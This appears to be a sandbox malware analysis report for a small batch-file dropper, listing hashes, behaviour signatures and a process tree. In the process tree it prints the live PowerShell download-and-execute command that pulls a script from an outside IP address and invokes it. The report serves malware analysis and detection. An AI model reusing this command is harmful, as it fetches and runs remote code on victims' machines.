c60b9a2978335eff184b3fdb2c955136899de8c118b53f87a128687be7f1a17d | Triage

Analysis

max time kernel
111s
max time network
150s
platform
windows10_x64
resource
win10v200217
submitted
02-04-2020 13:10

Sharing

Report Analysis Logs

General

Target

yKWgfxGs.bat
Size

194B
MD5

b1ff6dcf9f315d022a6401c4de7097d7
SHA1

88343be4d54d374a1be5ccd095c0d913bda11a76
SHA256

c60b9a2978335eff184b3fdb2c955136899de8c118b53f87a128687be7f1a17d
SHA512

e44453250ed4f5fdb935a921e88c69b6a023814f9058a787c5d97a27b0f779ff09a8680073c253bab6b1b773a357c5a6b61c10bbcd05c709d26c0d0cbe6dc6fb

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/yKWgfxGs

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4088 3844 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 4088 WerFault.exe
Token: SeBackupPrivilege 4088 WerFault.exe
Token: SeDebugPrivilege 4088 WerFault.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

WerFault.exe

pid	process
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe
4088	WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\yKWgfxGs.bat"
1⤵
PID:3676

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/yKWgfxGs');Invoke-AYOIJPDBCZW;Start-Sleep -s 10000"
2⤵
PID:3844

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3844 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:4088

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/4088-0-0x0000000004D70000-0x0000000004D71000-memory.dmp

Filesize
4KB

Download
memory/4088-1-0x00000000054A0000-0x00000000054A1000-memory.dmp

Filesize
4KB

Download